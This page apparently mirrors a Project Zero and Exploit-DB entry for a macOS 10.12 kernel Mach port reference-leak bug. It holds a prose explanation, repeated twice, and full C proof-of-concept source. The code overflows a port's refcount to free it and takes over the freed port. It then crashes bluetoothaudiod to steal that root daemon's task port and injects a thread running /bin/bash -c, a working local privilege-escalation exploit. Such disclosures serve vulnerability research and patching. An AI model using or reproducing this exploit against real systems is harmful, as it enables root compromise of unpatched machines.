扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=941 Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40956.zip The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code, a lot of mach message and MIG code had to run for each leak. There are a handful of mach operations which have their own fast-path syscalls (mach traps.) One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach port name in our process from a port we already have. Here's the code: int _kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args) { task_t task = port_name_to_task(args->target); ipc_port_t port; mach_msg_type_name_t disp; int rv = MACH_SEND_INVALID_DEST; if (task != current_task()) goto done; rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly, (ipc_object_t *)&port); if (rv != KERN_SUCCESS) goto done; disp =(args->polyPoly); rv = mach_port_insert_right(task->itk_space, args->name, port, disp); done: if (task) task_deallocate(task); return (rv); } ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights) in the current process's mach port namespace and return an ipc_port_t pointer in port. If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller. mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap doesn't handle the failure case. it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new right (eg MACH_PORT_NULL.) This allows you to overflow the reference count of the port and cause a kernel UaF in about 20 minutes using a single thread. ################################################################################ LPE exploit for the kernel ipc_port_t reference leak bug I wanted to explore some more interesting exploit primitives I could build with this bug. One idea I had was to turn a send right for a mach port into a receive right for that port. We can do this by using the reference count leak to cause a port for which we have a send right to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process which had a send right) and forcing the memory to be reallocated with a new port for which we hold a receive right. We could for example target a userspace IPC service and replace a send right we've looked up via launchd with a receive right allowing us to impersonate the service to other clients. Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is called directly. Those kernel-owned receive rights are however still ports and we can free them using the bug; if we can then get that memory reused as a port for which we hold a receive right we can end up impersonating the kernel to other processes! Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these services we can get other processes to send us their task ports and thus gain complete control over them. io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients (or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService port and the message contains the sender's task port as the owningTask parameter :) For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen. We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it parses XPC messages. This doesn't require bluetooth to be enabled. Putting this all together the flow of the exploit looks like this: * get a send right to the IOBluetoothHCIController IOService * overflow the reference count of that ipc_port to 0 and free it * allocate many new receive rights to reuse the freed ipc_port * add the new receive rights to a port set to simplify receiving messages * crash bluetoothaudiod forcing it to restart * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService * bluetoothaudiod will send its task port to the IOService * the task port is actually sent to us as we have the receive right * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND Tested on MacOS 10.12 16a323 The technique should work exactly the same on iOS to get a task port for another process from the app sandbox. */ // ianbeer #if 0 LPE exploit for the kernel ipc_port_t reference leak bug I wanted to explore some more interesting exploit primitives I could build with this bug. One idea I had was to turn a send right for a mach port into a receive right for that port. We can do this by using the reference count leak to cause a port for which we have a send right to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process which had a send right) and forcing the memory to be reallocated with a new port for which we hold a receive right. We could for example target a userspace IPC service and replace a send right we've looked up via launchd with a receive right allowing us to impersonate the service to other clients. Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is called directly. Those kernel-owned receive rights are however still ports and we can free them using the bug; if we can then get that memory reused as a port for which we hold a receive right we can end up impersonating the kernel to other processes! Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these services we can get other processes to send us their task ports and thus gain complete control over them. io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients (or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService port and the message contains the sender's task port as the owningTask parameter :) For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen. We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it parses XPC messages. This doesn't require bluetooth to be enabled. Putting this all together the flow of the exploit looks like this: * get a send right to the IOBluetoothHCIController IOService * overflow the reference count of that ipc_port to 0 and free it * allocate many new receive rights to reuse the freed ipc_port * add the new receive rights to a port set to simplify receiving messages * crash bluetoothaudiod forcing it to restart * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService * bluetoothaudiod will send its task port to the IOService * the task port is actually sent to us as we have the receive right * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND Tested on MacOS 10.12 16a323 The technique should work exactly the same on iOS to get a task port for another process from the app sandbox. #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <xpc/xpc.h> #include <IOKit/IOKitLib.h> void run_command(mach_port_t target_task, char* command) { kern_return_t err; // allocate some memory in the task mach_vm_address_t command_addr = 0; err = mach_vm_allocate(target_task, &command_addr, 0x1000, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("mach_vm_allocate: %s\n", mach_error_string(err)); return; } printf("allocated command at %zx\n", command_addr); uint64_t bin_bash = command_addr; uint64_t dash_c = command_addr + 0x10; uint64_t cmd = command_addr + 0x20; uint64_t argv = command_addr + 0x800; uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0}; err = mach_vm_write(target_task, bin_bash, "/bin/bash", strlen("/bin/bash") + 1); err = mach_vm_write(target_task, dash_c, "-c", strlen("-c") + 1); err = mach_vm_write(target_task, cmd, command, strlen(command) + 1); err = mach_vm_write(target_task, argv, argv_contents, sizeof(argv_contents)); if (err != KERN_SUCCESS) { printf("mach_vm_write: %s\n", mach_error_string(err)); return; } // create a new thread: mach_port_t new_thread = MACH_PORT_NULL; x86_thread_state64_t state; mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT; memset(&state, 0, sizeof(state)); // the minimal register state we require: state.__rip = (uint64_t)execve; state.__rdi = (uint64_t)bin_bash; state.__rsi = (uint64_t)argv; state.__rdx = (uint64_t)0; err = thread_create_running(target_task, x86_THREAD_STATE64, (thread_state_t)&state, stateCount, &new_thread); if (err != KERN_SUCCESS) { printf("thread_create_running: %s\n", mach_error_string(err)); return; } printf("done?\n"); } void force_bluetoothaudiod_restart() { xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { xpc_type_t t = xpc_get_type(event); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(conn); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "BTMethod", "BTCoreAudioPassthrough"); xpc_connection_send_message(conn, msg); printf("waiting to make sure launchd knows the target has crashed\n"); usleep(100000); printf("bluetoothaudiod should have crashed now\n"); xpc_release(msg); // connect to the service again and send a message to force it to restart: conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { xpc_type_t t = xpc_get_type(event); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(conn); msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "hello", "world"); xpc_connection_send_message(conn, msg); printf("bluetoothaudiod should be calling IOServiceOpen now\n"); } mach_port_t self; void leak_one_ref(mach_port_t overflower) { kern_return_t err = _kernelrpc_mach_port_insert_right_trap( self, MACH_PORT_NULL, // an invalid name overflower, MACH_MSG_TYPE_COPY_SEND); } void leak_one_ref_for_receive(mach_port_t overflower) { kern_return_t err = _kernelrpc_mach_port_insert_right_trap( self, MACH_PORT_NULL, // an invalid name overflower, MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right } char* spinners = "-\\|/"; void leak_n_refs(mach_port_t overflower, uint64_t n_refs) { int step = 0; for (uint64_t i = 0; i < n_refs; i++) { leak_one_ref(overflower); if ((i % 0x40000) == 0) { float done = (float)i/(float)n_refs; step = (step+1) % strlen(spinners); fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100); fflush(stdout); } } fprintf(stdout, "\roverflowed \n"); fflush(stdout); } // quickly take a release a kernel reference // if the reference has been overflowed to 0 this will free the object void inc_and_dec_ref(mach_port_t p) { // if we pass something which isn't a task port name: // port_name_to_task // ipc_object_copyin // takes a ref // ipc_port_release_send // drops a ref _kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0); } /* try to get the free'd port replaced with a new port for which we have * a receive right * Once we've allocated a lot of new ports add them all to a port set so * we can just receive on the port set to find the correct one */ mach_port_t replace_with_receive() { int n_ports = 2000; mach_port_t ports[n_ports]; for (int i = 0; i < n_ports; i++) { mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]); } // allocate a port set mach_port_t ps; mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps); for (int i = 0; i < n_ports; i++) { mach_port_move_member( self, ports[i], ps); } return ps; } /* listen on the port set for io_service_open_extended messages : */ struct service_open_mig { mach_msg_header_t Head; /* start of the kernel processed data */ mach_msg_body_t msgh_body; mach_msg_port_descriptor_t owningTask; mach_msg_ool_descriptor_t properties; /* end of the kernel processed data */ NDR_record_t NDR; uint32_t connect_type; NDR_record_t ndr; mach_msg_type_number_t propertiesCnt; }; void service_requests(mach_port_t ps) { size_t size = 0x1000; struct service_open_mig* request = malloc(size); memset(request, 0, size); printf("receiving on port set\n"); kern_return_t err = mach_msg(&request->Head, MACH_RCV_MSG, 0, size, ps, 0, 0); if (err != KERN_SUCCESS) { printf("error receiving on port set: %s\n", mach_error_string(err)); return; } mach_port_t replaced_with = request->Head.msgh_local_port; printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port); mach_port_t target_task = request->owningTask.name; printf("got task port: 0x%x\n", target_task); run_command(target_task, "touch /tmp/hello_from_fake_kernel"); printf("did that work?\n"); printf("leaking some refs so we don't kernel panic"); for(int i = 0; i < 0x100; i++) { leak_one_ref_for_receive(replaced_with); } } int main() { self = mach_task_self(); // avoid making the trap every time //mach_port_t test; //mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test); // get the service we want to target: mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); printf("%d : 0x%x\n", getpid(), service); // we don't know how many refs the port actually has - lets guess less than 40... uint32_t max_refs = 40; leak_n_refs(service, 0x100000000-max_refs); // the port now has a reference count just below 0 so we'll try in a loop // to free it, reallocate and test to see if it worked - if not we'll hope // that was because we didn't free it: mach_port_t fake_service_port = MACH_PORT_NULL; for (uint32_t i = 0; i < max_refs; i++) { inc_and_dec_ref(service); mach_port_t replacer_ps = replace_with_receive(); // send a message to the service - if we receive it on the portset then we won: mach_msg_header_t msg = {0}; msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); msg.msgh_remote_port = service; msg.msgh_id = 0x41414141; msg.msgh_size = sizeof(msg); kern_return_t err; err = mach_msg(&msg, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("sending probe: %s\n", mach_error_string(err)); mach_msg_empty_rcv_t reply = {0}; mach_msg(&reply.header, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), replacer_ps, 1, // 1ms 0); if (reply.header.msgh_id == 0x41414141) { // worked: printf("got the probe message\n"); fake_service_port = replacer_ps; break; } printf("trying again (%d)\n", i); // if it didn't work leak another ref and try again: leak_one_ref(service); } printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n"); force_bluetoothaudiod_restart(); service_requests(fake_service_port); return 0; } |
体验盒子
